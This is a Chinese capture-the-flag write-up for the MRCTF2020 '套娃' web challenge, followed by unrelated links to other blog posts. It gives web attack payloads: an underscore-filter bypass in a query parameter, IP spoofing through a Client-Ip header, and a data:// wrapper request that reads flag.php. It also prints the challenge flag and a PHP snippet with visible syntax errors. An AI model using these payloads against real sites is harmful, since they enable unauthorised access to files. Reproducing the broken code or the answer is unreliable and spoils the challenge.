[MRCTF2020]套娃1

打开题目,查看源代码,有提示

有两层过滤

1.过滤"_"与"%5f" 。

这里要求的参数必须是"b_u_p_t"但是不能检测出"_"。这里看着很作弄人。其实这里要用到php里非法参数名的问题。可以参考一下博客

?b.u.p.t=23333%0a

看到提示,flag在FLAG is in secrettw.php

访问secrettw.php

说我能更聪明

直接访问

ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

看到一堆外星语,JavaScript语言,复制解码,找网站运行,发现需要破石头请求

看到最后源码

//逆向代码

<?php

$v="flag.php";

$re='';

for(i=0;i<strlen(v);i++)

{

re.=chr(ord(v[i\])-i*2);

}

v1=base64_encode(re);

echo $v1;

?>

//v1=ZmpdYSZmXGI=

.change函数,先进行base64解码,在对每一位的ascii码加上i*2。很简单写一个逆函数就行

最终payload:/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=,然后抓包修改下地址信息,结果如下:

flag{c8cf3dad-15b4-4a55-9344-51e749df0029}

相关推荐
花间相见几秒前
【JAVA开发】—— HTTP常见请求方法
java·开发语言·http
APIshop1 分钟前
实战代码解析:item_get——获取某鱼商品详情接口
java·linux·数据库
楼田莉子2 分钟前
Linux系统小项目——“主从设计模式”进程池
linux·服务器·开发语言·c++·vscode·学习
zhangchangz7 分钟前
Idea护眼插件分享之:Catppuccin Theme
java·ide·intellij-idea
走粥11 分钟前
选项式API与组合式API的区别
开发语言·前端·javascript·vue.js·前端框架
从此不归路12 分钟前
Qt5 进阶【7】网络请求与 REST API 实战:QNetworkAccessManager 深度应用
开发语言·c++·qt
浮生醉清风i12 分钟前
Spring Ai
java·人工智能·spring
AC赳赳老秦15 分钟前
跨境科技服务的基石:DeepSeek赋能多语言技术文档与合规性说明的深度实践
android·大数据·数据库·人工智能·科技·deepseek·跨境
试剂小课堂 Pro18 分钟前
mPEG-Silane:mPEG链单端接三乙氧基硅的亲水性硅烷偶联剂
java·c语言·网络·c++·python·tomcat
终端域名21 分钟前
如何选择有利于品牌宣传的网站域名
java·后端·struts·数字货币域名·网站域名